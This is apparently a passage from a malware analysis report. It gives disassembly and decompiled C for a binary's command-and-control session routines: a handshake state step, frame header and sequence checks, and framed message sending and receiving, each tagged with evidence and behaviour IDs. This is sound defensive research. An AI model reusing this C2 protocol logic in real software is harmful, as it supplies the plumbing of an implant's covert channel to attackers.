00411a9a89 54 24 10MOV dword ptr [RSP + local_e8],EDX
00411a9e4d 8d 67 20LEA R12,[R15 + 0x20]
00411aa2e8 3c bb ff ffCALL FUN_0040d5e3
00411aa78a 05 83 cc 21 00MOV AL,byte ptr [DAT_0062e730]
00411aad4c 89 feMOV RSI,R15
00411ab04c 89 e7MOV RDI,R12
00411ab380 25 57 cc 21 00 f8AND byte ptr [DAT_0062e711],0xf8
00411aba83 e0 7fAND EAX,0x7f
00411abd83 c8 40OR EAX,0x40
00411ac088 05 6a cc 21 00MOV byte ptr [DAT_0062e730],AL
00411ac6e8 8b f5 ff ffCALL FUN_00411056
00411acb8b 54 24 10MOV EDX,dword ptr [RSP + local_e8]
00411acf31 c0XOR EAX,EAX
00411ad131 c9XOR ECX,ECX
00411ad34c 89 e6MOV RSI,R12
LAB_00411ad6:
00411ad641 0f b6 3c 04MOVZX EDI,byte ptr [R12 + RAX*0x1]
00411adb48 ff c0INC RAX
00411ade09 f9OR ECX,EDI
00411ae048 83 f8 20CMP RAX,0x20
00411ae475 f0JNZ LAB_00411ad6
00411ae685 c9TEST ECX,ECX
00411ae875 04JNZ LAB_00411aee
00411aeaff caDEC EDX
00411aec75 a4JNZ LAB_00411a92
LAB_00411aee:
00411aee31 d2XOR EDX,EDX
00411af031 c0XOR EAX,EAX
LAB_00411af2:
00411af241 0f b6 0c 14MOVZX ECX,byte ptr [R12 + RDX*0x1]
00411af748 ff c2INC RDX
00411afa09 c8OR EAX,ECX
00411afc48 83 fa 20CMP RDX,0x20
00411b0075 f0JNZ LAB_00411af2
00411b0285 c0TEST EAX,EAX
00411b0475 11JNZ LAB_00411b17
00411b06b9 08 00 00 00MOV ECX,0x8
00411b0b48 89 f7MOV RDI,RSI
00411b0ec6 05 ee cb 21 00 01MOV byte ptr [DAT_0062e703],0x1
00411b15f3 abSTOSD.REP RDI
LAB_00411b17:
00411b1748 8d 54 24 40LEA RDX,[RSP + 0x40]
00411b1c48 8d 44 24 60LEA RAX,[RSP + 0x60]
00411b2148 89 d6MOV RSI,RDX
00411b2448 89 c7MOV RDI,RAX
00411b2748 89 54 24 18MOV qword ptr [RSP + local_e0],RDX
00411b2c4c 8d a4 24 80 00 00 00LEA R12,[RSP + 0x80]
00411b3448 89 44 24 10MOV qword ptr [RSP + local_e8],RAX
00411b39e8 23 f8 ff ffCALL FUN_00411361
00411b3e80 3d be cb 21 00 00CMP byte ptr [DAT_0062e703],0x0
00411b4548 8b 54 24 18MOV RDX,qword ptr [RSP + local_e0]
00411b4a74 0eJZ LAB_00411b5a
00411b4cb9 08 00 00 00MOV ECX,0x8
00411b5131 c0XOR EAX,EAX
00411b534c 89 e7MOV RDI,R12
00411b56f3 abSTOSD.REP RDI
00411b58eb 0bJMP LAB_00411b65
LAB_00411b5a:
00411b5a4c 89 feMOV RSI,R15
00411b5d4c 89 e7MOV RDI,R12
00411b60e8 f6 f0 ff ffCALL FUN_00410c5b
LAB_00411b65:
00411b6548 8b 05 84 cb 21 00MOV RAX,qword ptr [DAT_0062e6f0]
00411b6c4c 89 e7MOV RDI,R12
00411b6fbe 20 00 00 00MOV ESI,0x20
00411b744c 8d bc 24 a0 00 00 00LEA R15,[RSP + 0xa0]
00411b7c41 b9 20 00 00 00MOV R9D,0x20
00411b824d 89 f8MOV R8,R15
00411b8548 63 88 68 19 00 00MOVSXD RCX,dword ptr [RAX + 0x1968]
00411b8c48 8b 90 60 19 00 00MOV RDX,qword ptr [RAX + 0x1960]
00411b93e8 25 f8 ff ffCALL FUN_004113bd
00411b9848 8d 54 24 34LEA RDX,[RSP + 0x34]
00411b9d31 c0XOR EAX,EAX
00411b9fb9 03 00 00 00MOV ECX,0x3
00411ba448 89 d7MOV RDI,RDX
00411ba748 89 54 24 18MOV qword ptr [RSP + local_e0],RDX
00411bacf3 abSTOSD.REP RDI
00411bae49 8d 45 3dLEA RAX,[R13 + 0x3d]
00411bb248 39 44 24 08CMP qword ptr [RSP + local_f0],RAX
00411bb70f 82 97 fe ff ffJC LAB_00411a54
00411bbd31 ffXOR EDI,EDI
00411bbfe8 05 07 00 00CALL FUN_004122c9
00411bc448 8b 54 24 18MOV RDX,qword ptr [RSP + local_e0]
00411bc94c 89 e9MOV RCX,R13
00411bcc48 8d 7b 2dLEA RDI,[RBX + 0x2d]
00411bd088 03MOV byte ptr [RBX],AL
00411bd248 8b 44 24 34MOV RAX,qword ptr [RSP + local_c4]
00411bd748 8d 74 24 28LEA RSI,[RSP + 0x28]
00411bdc41 b9 20 00 00 00MOV R9D,0x20
00411be20f 10 05 48 cb 21 00MOVUPS XMM0,xmmword ptr [DAT_0062e731]
00411be94c 8d 05 41 cb 21 00LEA R8,[DAT_0062e731]
00411bf00f 11 43 01MOVUPS xmmword ptr [RBX + 0x1],XMM0
00411bf40f 10 0d 46 cb 21 00MOVUPS XMM1,xmmword ptr [DAT_0062e741]
00411bfb48 89 43 21MOV qword ptr [RBX + 0x21],RAX
00411bff8b 44 24 3cMOV EAX,dword ptr [RSP + local_bc]
00411c030f 11 4b 11MOVUPS xmmword ptr [RBX + 0x11],XMM1
00411c0789 43 29MOV dword ptr [RBX + 0x29],EAX
00411c0a48 8b 44 24 08MOV RAX,qword ptr [RSP + local_f0]
00411c0f48 83 e8 2dSUB RAX,0x2d
00411c1348 89 44 24 28MOV qword ptr [RSP + local_d0],RAX
00411c1852PUSH RDX
00411c194c 89 f2MOV RDX,R14
00411c1c41 57PUSH R15
00411c1ee8 7b f9 ff ffCALL FUN_0041159e
00411c235aPOP RDX
00411c2459POP RCX
00411c2585 c0TEST EAX,EAX
00411c270f 85 27 fe ff ffJNZ LAB_00411a54
00411c2d8b 44 24 28MOV EAX,dword ptr [RSP + local_d0]
00411c31be 20 00 00 00MOV ESI,0x20
00411c364c 89 e7MOV RDI,R12
00411c39c6 05 c4 ca 21 00 01MOV byte ptr [DAT_0062e704],0x1
00411c408d 58 2dLEA EBX,[RAX + 0x2d]
00411c43e8 2c 07 00 00CALL FUN_00412374
00411c48be 20 00 00 00MOV ESI,0x20
00411c4d4c 89 ffMOV RDI,R15
00411c50e8 1f 07 00 00CALL FUN_00412374
00411c5548 8b 7c 24 10MOV RDI,qword ptr [RSP + local_e8]
00411c5abe 20 00 00 00MOV ESI,0x20
00411c5fe8 10 07 00 00CALL FUN_00412374
00411c648d 04 2bLEA EAX,[RBX + RBP*0x1]
LAB_00411c67:
00411c6748 81 c4 c8 00 00 00ADD RSP,0xc8
00411c6e5bPOP RBX
00411c6f5dPOP RBP
00411c7041 5cPOP R12
00411c7241 5dPOP R13
00411c7441 5ePOP R14
00411c7641 5fPOP R15
00411c78c3RET
LAB_00411c79:
00411c7983 c8 ffOR EAX,0xffffffff
00411c7cc3RET

C2 session handshake state step

0x411ca1663 bytes
undefined FUN_00411ca1()

C2 session handshake state step

Cited as
E15
Behaviours
B6
Called from
FUN_004001d0
Calls
FUN_00410c5b, FUN_00411361, FUN_004113bd, FUN_00411a07, FUN_00412374, FUN_0041277f, FUN_0041298d, FUN_00417c3c, FUN_0041b0ec
Decompiled C · 150 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411ca1(ulong param_1)

{
  char cVar1;
  int *piVar2;
  long lVar3;
  undefined4 local_f8;
  undefined4 uStack_f4;
  undefined4 uStack_f0;
  undefined4 uStack_ec;
  undefined4 local_e8;
  undefined4 uStack_e4;
  undefined4 uStack_e0;
  undefined4 uStack_dc;
  undefined1 local_d8 [32];
  undefined1 local_b8 [32];
  undefined4 local_98;
  undefined4 uStack_94;
  undefined4 uStack_90;
  undefined4 uStack_8c;
  undefined4 local_88;
  undefined4 uStack_84;
  undefined4 uStack_80;
  undefined4 uStack_7c;
  undefined4 local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  undefined4 uStack_3c;
  undefined4 local_38;
  undefined4 uStack_34;
  undefined4 uStack_30;
  undefined4 uStack_2c;
  undefined4 local_28;
  undefined4 uStack_24;
  undefined4 uStack_20;
  undefined4 uStack_1c;
  
  if (DAT_0062e704 == '\0') {
    return -1;
  }
  if (DAT_0062e700 != '\0') {
    return 1;
  }
  lVar3 = ((ulong)DAT_0062e701 + 0x21) - (ulong)DAT_0062efaa;
  if (lVar3 == 0) {
    lVar3 = 1;
  }
  lVar3 = FUN_0041b0ec(param_1,&DAT_0062efab + DAT_0062efaa,lVar3,0x4000);
  if (lVar3 < 0) {
    piVar2 = (int *)FUN_00417c3c();
    return -(uint)(*piVar2 != 0xb);
  }
  if (lVar3 != 0) {
    DAT_0062efaa = (char)lVar3 + DAT_0062efaa;
    if (DAT_0062e701 == 0) {
      if (DAT_0062efaa < 0x21) {
        return 0;
      }
      cVar1 = FUN_00411a07(&DAT_0062efab,0x21);
      if (cVar1 == '\0') {
        return -1;
      }
      local_f8 = _DAT_0062efac;
      uStack_f4 = uRam000000000062efb0;
      uStack_f0 = uRam000000000062efb4;
      uStack_ec = uRam000000000062efb8;
      local_e8 = _DAT_0062efbc;
      uStack_e4 = uRam000000000062efc0;
      uStack_e0 = uRam000000000062efc4;
      uStack_dc = uRam000000000062efc8;
      FUN_00411361(local_d8,local_b8);
      FUN_00410c5b(&local_98,&DAT_0062e711,local_b8);
      FUN_00410c5b(&local_78,&DAT_0062e711,&local_f8);
      lVar3 = DAT_0062e6f0;
      local_58 = local_98;
      uStack_54 = uStack_94;
      uStack_50 = uStack_90;
      uStack_4c = uStack_8c;
      local_48 = local_88;
      uStack_44 = uStack_84;
      uStack_40 = uStack_80;
      uStack_3c = uStack_7c;
      local_38 = local_78;
      uStack_34 = uStack_74;
      uStack_30 = uStack_70;
      uStack_2c = uStack_6c;
      local_28 = local_68;
      uStack_24 = uStack_64;
      uStack_20 = uStack_60;
      uStack_1c = uStack_5c;
      FUN_004113bd(&local_58,0x40,*(undefined8 *)(DAT_0062e6f0 + 0x1950),
                   (long)*(int *)(DAT_0062e6f0 + 0x1958),&DAT_0062e751,0x20);
      FUN_004113bd(&local_58,0x40,*(undefined8 *)(lVar3 + 0x1940),(long)*(int *)(lVar3 + 0x1948),
                   &DAT_0062e771,0x20);
    }
    else {
      if (DAT_0062efaa < 0x22) {
        return 0;
      }
      cVar1 = FUN_0041298d(&DAT_0062efab,0x22);
      if (cVar1 == '\0') {
        return -1;
      }
      local_f8 = CONCAT13((undefined1)uRam000000000062efb0,_DAT_0062efad);
      uStack_f4 = CONCAT13((undefined1)uRam000000000062efb4,uRam000000000062efb0._1_3_);
      uStack_f0 = CONCAT13((undefined1)uRam000000000062efb8,uRam000000000062efb4._1_3_);
      uStack_ec = CONCAT13(DAT_0062efbc,uRam000000000062efb8._1_3_);
      local_e8 = CONCAT13((undefined1)uRam000000000062efc0,_DAT_0062efbd);
      uStack_e4 = CONCAT13((undefined1)uRam000000000062efc4,uRam000000000062efc0._1_3_);
      uStack_e0 = CONCAT13((undefined1)uRam000000000062efc8,uRam000000000062efc4._1_3_);
      uStack_dc = CONCAT13(uRam000000000062efcc,uRam000000000062efc8._1_3_);
      FUN_0041277f(&DAT_0062e711,&DAT_0062e731,&local_f8);
    }
    _DAT_0062e798 = 1;
    DAT_0062e7a0 = 1;
    DAT_0062e700 = '\x01';
    FUN_00412374(&DAT_0062e711,0x20);
    FUN_00412374(&DAT_0062e705,0xc);
    DAT_0062efaa = 0;
    lVar3 = FUN_0041b0ec(param_1 & 0xffffffff,&DAT_0062e7aa,0x800,0x4000);
    if (0 < lVar3) {
      DAT_0062e7a8 = (short)lVar3;
      return 1;
    }
    if (lVar3 == 0) {
      return 1;
    }
    piVar2 = (int *)FUN_00417c3c();
    if (*piVar2 == 0xb) {
      return 1;
    }
  }
  return -1;
}

Assembly · 133 instructions, 2 annotated, 1 cited
AddressBytesInstructionComment
00411ca141 55PUSH R13; E15
00411ca341 54PUSH R12
00411ca541 83 cc ffOR R12D,0xffffffff
00411ca955PUSH RBP
00411caa48 81 ec e0 00 00 00SUB RSP,0xe0
00411cb180 3d 4c ca 21 00 00CMP byte ptr [DAT_0062e704],0x0
00411cb80f 84 6a 02 00 00JZ LAB_00411f28
00411cbe80 3d 3b ca 21 00 00CMP byte ptr [DAT_0062e700],0x0
00411cc541 bc 01 00 00 00MOV R12D,0x1
00411ccb0f 85 57 02 00 00JNZ LAB_00411f28
00411cd10f b6 15 29 ca 21 00MOVZX EDX,byte ptr [DAT_0062e701]
00411cd80f b6 35 cb d2 21 00MOVZX ESI,byte ptr [DAT_0062efaa]
00411cdf89 fdMOV EBP,EDI
00411ce1b8 01 00 00 00MOV EAX,0x1
00411ce64c 8d 2d be d2 21 00LEA R13,[DAT_0062efab]
00411cedb9 00 40 00 00MOV ECX,0x4000
00411cf248 83 c2 21ADD RDX,0x21
00411cf648 29 f2SUB RDX,RSI
00411cf948 0f 44 d0CMOVZ RDX,RAX
00411cfd4c 01 eeADD RSI,R13
00411d00e8 e7 93 00 00CALL FUN_0041b0ec
00411d0548 85 c0TEST RAX,RAX
00411d0879 17JNS LAB_00411d21
00411d0ae8 2d 5f 00 00CALL FUN_00417c3c
00411d0f45 31 e4XOR R12D,R12D
00411d1283 38 0bCMP dword ptr [RAX],0xb
00411d1541 0f 95 c4SETNZ R12B
00411d1941 f7 dcNEG R12D
00411d1ce9 07 02 00 00JMP LAB_00411f28
LAB_00411d21:
00411d210f 84 fd 01 00 00JZ LAB_00411f24
00411d2702 05 7d d2 21 00ADD AL,byte ptr [DAT_0062efaa]
00411d2d45 31 e4XOR R12D,R12D
00411d3080 3d ca c9 21 00 00CMP byte ptr [DAT_0062e701],0x0
00411d3788 05 6d d2 21 00MOV byte ptr [DAT_0062efaa],AL
00411d3d74 54JZ LAB_00411d93
00411d3f3c 21CMP AL,0x21
00411d410f 86 e1 01 00 00JBE LAB_00411f28
00411d47be 22 00 00 00MOV ESI,0x22
00411d4c4c 89 efMOV RDI,R13
00411d4fe8 39 0c 00 00CALL FUN_0041298d
00411d5484 c0TEST AL,AL
00411d560f 84 c8 01 00 00JZ LAB_00411f24
00411d5c4c 8d 05 0e ca 21 00LEA R8,[DAT_0062e771]
00411d630f 10 05 43 d2 21 00MOVUPS XMM0,xmmword ptr [DAT_0062efad]
00411d6a0f 10 0d 4c d2 21 00MOVUPS XMM1,xmmword ptr [DAT_0062efbd]
00411d7148 89 e2MOV RDX,RSP
00411d7449 8d 48 e0LEA RCX,[R8 + -0x20]
00411d7848 8d 71 e0LEA RSI,[RCX + -0x20]
00411d7c48 8d 79 c0LEA RDI,[RCX + -0x40]
00411d800f 11 04 24MOVUPS xmmword ptr [RSP],XMM0
00411d840f 11 4c 24 10MOVUPS xmmword ptr [RSP + local_e8[0]],XMM1
00411d89e8 f1 09 00 00CALL FUN_0041277f; FUN_0041277f: unknown
00411d8ee9 0d 01 00 00JMP LAB_00411ea0
LAB_00411d93:
00411d933c 20CMP AL,0x20
00411d950f 86 8d 01 00 00JBE LAB_00411f28
00411d9bbe 21 00 00 00MOV ESI,0x21
00411da04c 89 efMOV RDI,R13
00411da3e8 5f fc ff ffCALL FUN_00411a07
00411da884 c0TEST AL,AL
00411daa0f 84 74 01 00 00JZ LAB_00411f24
00411db00f 10 15 f5 d1 21 00MOVUPS XMM2,xmmword ptr [DAT_0062efac]
00411db74c 8d 64 24 40LEA R12,[RSP + 0x40]
00411dbc0f 10 1d f9 d1 21 00MOVUPS XMM3,xmmword ptr [DAT_0062efbc]
00411dc348 8d 7c 24 20LEA RDI,[RSP + 0x20]
00411dc84c 89 e6MOV RSI,R12
00411dcb4c 8d ac 24 a0 00 00 00LEA R13,[RSP + 0xa0]
00411dd30f 11 14 24MOVUPS xmmword ptr [RSP],XMM2
00411dd70f 11 5c 24 10MOVUPS xmmword ptr [RSP + local_e8[0]],XMM3
00411ddce8 80 f5 ff ffCALL FUN_00411361
00411de14c 89 e2MOV RDX,R12
00411de44c 8d 25 26 c9 21 00LEA R12,[DAT_0062e711]
00411deb48 8d 7c 24 60LEA RDI,[RSP + 0x60]
00411df04c 89 e6MOV RSI,R12
00411df3e8 63 ee ff ffCALL FUN_00410c5b
00411df84c 89 e6MOV RSI,R12
00411dfb48 89 e2MOV RDX,RSP
00411dfe48 8d bc 24 80 00 00 00LEA RDI,[RSP + 0x80]
00411e06e8 50 ee ff ffCALL FUN_00410c5b
00411e0b4c 8b 25 de c8 21 00MOV R12,qword ptr [DAT_0062e6f0]
00411e124c 89 efMOV RDI,R13
00411e150f 10 64 24 60MOVUPS XMM4,xmmword ptr [RSP + local_98[0]]
00411e1a0f 10 6c 24 70MOVUPS XMM5,xmmword ptr [RSP + local_88[0]]
00411e1f0f 10 b4 24 80 00 00 00MOVUPS XMM6,xmmword ptr [RSP + local_78[0]]
00411e2741 b9 20 00 00 00MOV R9D,0x20
00411e2d4c 8d 05 1d c9 21 00LEA R8,[DAT_0062e751]
00411e340f 10 bc 24 90 00 00 00MOVUPS XMM7,xmmword ptr [RSP + local_68[0]]
00411e3c49 63 8c 24 58 19 00 00MOVSXD RCX,dword ptr [R12 + 0x1958]
00411e44be 40 00 00 00MOV ESI,0x40
00411e490f 11 a4 24 a0 00 00 00MOVUPS xmmword ptr [RSP + local_58[0]],XMM4
00411e5149 8b 94 24 50 19 00 00MOV RDX,qword ptr [R12 + 0x1950]
00411e590f 11 ac 24 b0 00 00 00MOVUPS xmmword ptr [RSP + local_48[0]],XMM5
00411e610f 11 b4 24 c0 00 00 00MOVUPS xmmword ptr [RSP + local_38[0]],XMM6
00411e690f 11 bc 24 d0 00 00 00MOVUPS xmmword ptr [RSP + local_28[0]],XMM7
00411e71e8 47 f5 ff ffCALL FUN_004113bd
00411e7649 63 8c 24 48 19 00 00MOVSXD RCX,dword ptr [R12 + 0x1948]
00411e7e4c 89 efMOV RDI,R13
00411e8149 8b 94 24 40 19 00 00MOV RDX,qword ptr [R12 + 0x1940]
00411e8941 b9 20 00 00 00MOV R9D,0x20
00411e8f4c 8d 05 db c8 21 00LEA R8,[DAT_0062e771]
00411e96be 40 00 00 00MOV ESI,0x40
00411e9be8 1d f5 ff ffCALL FUN_004113bd
LAB_00411ea0:
00411ea0be 20 00 00 00MOV ESI,0x20
00411ea548 8d 3d 65 c8 21 00LEA RDI,[DAT_0062e711]
00411eac48 c7 05 e1 c8 21 00 01 …MOV qword ptr [DAT_0062e798],0x1
00411eb748 c7 05 de c8 21 00 01 …MOV qword ptr [DAT_0062e7a0],0x1
00411ec2c6 05 37 c8 21 00 01MOV byte ptr [DAT_0062e700],0x1
00411ec9e8 a6 04 00 00CALL FUN_00412374
00411ecebe 0c 00 00 00MOV ESI,0xc
00411ed348 8d 3d 2b c8 21 00LEA RDI,[DAT_0062e705]
00411edae8 95 04 00 00CALL FUN_00412374
00411edfb9 00 40 00 00MOV ECX,0x4000
00411ee4ba 00 08 00 00MOV EDX,0x800
00411ee989 efMOV EDI,EBP
00411eeb48 8d 35 b8 c8 21 00LEA RSI,[DAT_0062e7aa]
00411ef2c6 05 b1 d0 21 00 00MOV byte ptr [DAT_0062efaa],0x0
00411ef9e8 ee 91 00 00CALL FUN_0041b0ec
00411efe48 85 c0TEST RAX,RAX
00411f017e 0fJLE LAB_00411f12
00411f0366 89 05 9e c8 21 00MOV word ptr [DAT_0062e7a8],AX
00411f0a41 bc 01 00 00 00MOV R12D,0x1
00411f10eb 16JMP LAB_00411f28
LAB_00411f12:
00411f1241 bc 01 00 00 00MOV R12D,0x1
00411f1874 0eJZ LAB_00411f28
00411f1ae8 1d 5d 00 00CALL FUN_00417c3c
00411f1f83 38 0bCMP dword ptr [RAX],0xb
00411f2274 04JZ LAB_00411f28
LAB_00411f24:
00411f2441 83 cc ffOR R12D,0xffffffff
LAB_00411f28:
00411f2848 81 c4 e0 00 00 00ADD RSP,0xe0
00411f2f44 89 e0MOV EAX,R12D
00411f325dPOP RBP
00411f3341 5cPOP R12
00411f3541 5dPOP R13
00411f37c3RET

checks header type, length and sequence…

0x412010225 bytes
undefined FUN_00412010()

checks header type, length and sequence of a received frame in the second session mode and opens it via 0x411680

Cited as
E15, E32
Behaviours
B6
Called from
FUN_0041215b
Calls
FUN_0041149d, FUN_00411680, FUN_004122c9
Decompiled C · 32 lines
ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
}

Assembly · 71 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041201041 57PUSH R15; E15; E32
0041201241 56PUSH R14
0041201441 55PUSH R13
0041201641 54PUSH R12
0041201849 89 ccMOV R12,RCX
0041201b55PUSH RBP
0041201c53PUSH RBX
0041201d48 83 ec 38SUB RSP,0x38
0041202148 83 f9 14CMP RCX,0x14
004120250f 96 c0SETBE AL
004120284d 85 c9TEST R9,R9
0041202b48 89 74 24 08MOV qword ptr [RSP + local_60],RSI
004120300f 94 c1SETZ CL
0041203308 c8OR AL,CL
0041203575 08JNZ LAB_0041203f
0041203748 89 d3MOV RBX,RDX
0041203a48 85 d2TEST RDX,RDX
0041203d75 08JNZ LAB_00412047
LAB_0041203f:
0041203f83 c8 ffOR EAX,0xffffffff
00412042e9 9b 00 00 00JMP LAB_004120e2
LAB_00412047:
0041204740 8a 2aMOV BPL,byte ptr [RDX]
0041204a49 89 fdMOV R13,RDI
0041204dbf 02 00 00 00MOV EDI,0x2
004120524d 89 c6MOV R14,R8
004120554d 89 cfMOV R15,R9
00412058e8 6c 02 00 00CALL FUN_004122c9
0041205d40 38 c5CMP BPL,AL
0041206075 ddJNZ LAB_0041203f
0041206266 8b 6b 01MOV BP,word ptr [RBX + 0x1]
004120660f b7 73 03MOVZX ESI,word ptr [RBX + 0x3]
0041206a66 c1 c5 08ROL BP,0x8
0041206e0f b7 edMOVZX EBP,BP
0041207149 39 37CMP qword ptr [R15],RSI
0041207475 c9JNZ LAB_0041203f
0041207648 8d 45 15LEA RAX,[RBP + 0x15]
0041207a4c 39 e0CMP RAX,R12
0041207d77 c0JA LAB_0041203f
0041207f48 8d 44 24 24LEA RAX,[RSP + 0x24]
0041208448 8d 4d 10LEA RCX,[RBP + 0x10]
0041208841 b9 05 00 00 00MOV R9D,0x5
0041208e48 89 c7MOV RDI,RAX
00412091e8 07 f4 ff ffCALL FUN_0041149d
004120968b 13MOV EDX,dword ptr [RBX]
0041209848 8d 74 24 10LEA RSI,[RSP + 0x10]
0041209d4c 89 efMOV RDI,R13
004120a089 54 24 1cMOV dword ptr [RSP + local_4c],EDX
004120a48a 53 04MOV DL,byte ptr [RBX + 0x4]
004120a788 54 24 20MOV byte ptr [RSP + local_48],DL
004120ab48 8d 53 05LEA RDX,[RBX + 0x5]
004120af50PUSH RAX
004120b041 56PUSH R14
004120b24c 8d 44 24 2cLEA R8,[RSP + 0x2c]
004120b7e8 c4 f5 ff ffCALL FUN_00411680
004120bc5aPOP RDX
004120bd59POP RCX
004120be85 c0TEST EAX,EAX
004120c00f 85 79 ff ff ffJNZ LAB_0041203f
004120c648 8b 44 24 10MOV RAX,qword ptr [RSP + local_58]
004120cb48 39 e8CMP RAX,RBP
004120ce0f 85 6b ff ff ffJNZ LAB_0041203f
004120d448 3b 44 24 08CMP RAX,qword ptr [RSP + local_60]
004120d90f 87 60 ff ff ffJA LAB_0041203f
004120df49 ff 07INC qword ptr [R15]
LAB_004120e2:
004120e248 83 c4 38ADD RSP,0x38
004120e65bPOP RBX
004120e75dPOP RBP
004120e841 5cPOP R12
004120ea41 5dPOP R13
004120ec41 5ePOP R14
004120ee41 5fPOP R15
004120f0c3RET

sends a framed C2 message in session…

0x4120f1106 bytes
undefined FUN_004120f1()

sends a framed C2 message in session mode

Cited as
E15
Behaviours
B6
Called from
FUN_004001d0
Calls
FUN_0041174f, FUN_00411f38, FUN_004129d6
Decompiled C · 22 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004120f1(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  undefined1 auStack_818 [2056];
  
  if (DAT_0062e701 == '\0') {
    iVar1 = FUN_00411f38(auStack_818,0x800,param_2,param_3,&DAT_0062e751);
  }
  else {
    iVar1 = FUN_004129d6();
  }
  if ((-1 < iVar1) && (iVar1 = FUN_0041174f(param_1,auStack_818,(long)iVar1), iVar1 == 0)) {
    _DAT_0062e798 = _DAT_0062e798 + 1;
    return 1;
  }
  return 0;
}

Assembly · 32 instructions, 2 annotated, 1 cited
AddressBytesInstructionComment
004120f141 54PUSH R12; E15
004120f34c 8d 0d 9e c6 21 00LEA R9,[DAT_0062e798]
004120fa48 89 d1MOV RCX,RDX
004120fd48 89 f2MOV RDX,RSI
0041210055PUSH RBP
004121014d 8d 41 b9LEA R8,[R9 + -0x47]
0041210589 fdMOV EBP,EDI
00412107be 00 08 00 00MOV ESI,0x800
0041210c48 81 ec 08 08 00 00SUB RSP,0x808
0041211380 3d e7 c5 21 00 00CMP byte ptr [DAT_0062e701],0x0
0041211a49 89 e4MOV R12,RSP
0041211d4c 89 e7MOV RDI,R12
0041212074 07JZ LAB_00412129
00412122e8 af 08 00 00CALL FUN_004129d6; FUN_004129d6: unknown
00412127eb 05JMP LAB_0041212e
LAB_00412129:
00412129e8 0a fe ff ffCALL FUN_00411f38
LAB_0041212e:
0041212e85 c0TEST EAX,EAX
0041213079 04JNS LAB_00412136
LAB_00412132:
0041213231 c0XOR EAX,EAX
00412134eb 1aJMP LAB_00412150
LAB_00412136:
0041213648 63 d0MOVSXD RDX,EAX
004121394c 89 e6MOV RSI,R12
0041213c89 efMOV EDI,EBP
0041213ee8 0c f6 ff ffCALL FUN_0041174f
0041214385 c0TEST EAX,EAX
0041214575 ebJNZ LAB_00412132
0041214748 ff 05 4a c6 21 00INC qword ptr [DAT_0062e798]
0041214eb0 01MOV AL,0x1
LAB_00412150:
0041215048 81 c4 08 08 00 00ADD RSP,0x808
004121575dPOP RBP
0041215841 5cPOP R12
0041215ac3RET

receives and de-frames C2 messages in…

0x41215b366 bytes
undefined FUN_0041215b()

receives and de-frames C2 messages in the session mode

Cited as
E15
Behaviours
B6
Called from
FUN_004001d0
Calls
FUN_004117de, FUN_00412010, FUN_004122c9, FUN_00412ad8, FUN_00417c3c, FUN_0041b0ec
Decompiled C · 76 lines
int FUN_0041215b(undefined8 param_1,undefined8 param_2,ulong param_3,int *param_4)

{
  char cVar1;
  char cVar2;
  int iVar3;
  long lVar4;
  int *piVar5;
  ulong uVar6;
  ulong uVar7;
  undefined8 uVar8;
  ulong uVar9;
  
  if (DAT_0062e700 != '\x01') {
    return -1;
  }
  if ((param_4 != (int *)0x0) && (DAT_0062e7a8 < 0x800)) {
    lVar4 = FUN_0041b0ec(param_1,&DAT_0062e7aa + DAT_0062e7a8,0x800 - (ulong)DAT_0062e7a8,0x4040);
    if (lVar4 < 0) {
      piVar5 = (int *)FUN_00417c3c();
      if (*piVar5 == 0xb) {
LAB_004121d0:
        uVar9 = 0;
        while (uVar9 + 0x15 <= (ulong)DAT_0062e7a8) {
          uVar8 = 5;
          cVar1 = (&DAT_0062e7aa)[uVar9];
          if (DAT_0062e701 == '\0') {
            uVar8 = 2;
          }
          cVar2 = FUN_004122c9(uVar8);
          if (cVar2 == cVar1) {
            uVar7 = (ulong)CONCAT11((char)*(undefined2 *)(&DAT_0062e7ab + uVar9),
                                    (char)((ushort)*(undefined2 *)(&DAT_0062e7ab + uVar9) >> 8));
            if (param_3 < uVar7) break;
            lVar4 = uVar7 + 0x15;
            uVar7 = uVar9 + lVar4;
            if (DAT_0062e7a8 < uVar7) break;
            uVar6 = (ulong)*(ushort *)((long)&DAT_0062e7ac + uVar9 + 1);
            if (uVar6 == DAT_0062e7a0) {
              if (DAT_0062e701 == '\0') {
                iVar3 = FUN_00412010(param_2,param_3,&DAT_0062e7aa + uVar9,lVar4,&DAT_0062e771);
              }
              else {
                iVar3 = FUN_00412ad8();
              }
              if (iVar3 < 0) {
                return -1;
              }
              *param_4 = iVar3;
              FUN_004117de(uVar7);
              return 1;
            }
            uVar9 = uVar7;
            if (DAT_0062e7a0 <= uVar6) {
              return 0;
            }
          }
          else {
            uVar9 = uVar9 + 1;
          }
        }
        if (uVar9 != 0) {
          FUN_004117de(uVar9);
        }
        return -(uint)(0x7ff < DAT_0062e7a8);
      }
    }
    else if (lVar4 != 0) {
      DAT_0062e7a8 = DAT_0062e7a8 + (short)lVar4;
      goto LAB_004121d0;
    }
  }
  return -1;
}

